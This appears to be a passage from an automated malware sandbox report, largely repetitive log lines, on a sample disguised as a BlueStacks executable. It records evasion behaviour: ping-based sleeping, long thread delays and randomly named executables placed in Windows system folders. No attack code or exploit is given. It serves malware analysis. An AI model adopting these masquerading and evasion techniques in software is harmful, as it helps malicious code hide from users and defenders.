              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX

              Malware Analysis System Evasion

              barindex
              Uses ping.exe to sleep
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhost
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhost
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeMemory allocated: 880000 memory reserve | memory write watchJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeMemory allocated: 1A6E0000 memory reserve | memory write watchJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeMemory allocated: A80000 memory reserve | memory write watchJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeMemory allocated: 1A4E0000 memory reserve | memory write watchJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeMemory allocated: 1530000 memory reserve | memory write watchJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeMemory allocated: 1B140000 memory reserve | memory write watchJump to behavior
              Source: C:\Windows\ShellComponents\cmd.exeMemory allocated: C00000 memory reserve | memory write watch
              Source: C:\Windows\ShellComponents\cmd.exeMemory allocated: 1A9D0000 memory reserve | memory write watch
              Source: C:\Windows\ShellComponents\cmd.exeMemory allocated: 820000 memory reserve | memory write watch
              Source: C:\Windows\ShellComponents\cmd.exeMemory allocated: 1A4A0000 memory reserve | memory write watch
              Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exeMemory allocated: E30000 memory reserve | memory write watch
              Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exeMemory allocated: 1A920000 memory reserve | memory write watch
              Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exeMemory allocated: 1040000 memory reserve | memory write watch
              Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exeMemory allocated: 1ADD0000 memory reserve | memory write watch
              Source: C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exeMemory allocated: 1510000 memory reserve | memory write watch
              Source: C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exeMemory allocated: 1B1C0000 memory reserve | memory write watch
              Source: C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exeMemory allocated: 10B0000 memory reserve | memory write watch
              Source: C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exeMemory allocated: 1AC40000 memory reserve | memory write watch
              Source: C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exeMemory allocated: 1180000 memory reserve | memory write watch
              Source: C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exeMemory allocated: 1ADC0000 memory reserve | memory write watch
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 600000Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 599703Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 599587Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 599484Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 599375Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 596608Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 596484Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 596218Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 596031Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 595765Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 595451Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 595140Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 594922Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 594656Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\ShellComponents\cmd.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\ShellComponents\cmd.exeThread delayed: delay time: 922337203685477
              Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-TimerJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWindow / User API: threadDelayed 4571Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWindow / User API: threadDelayed 1404Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1972
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1369
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1453
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1234
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1457
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1672
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1671
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1561
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1396
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1324
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1403
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1240
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1321
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1663
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1478
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1673
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1476
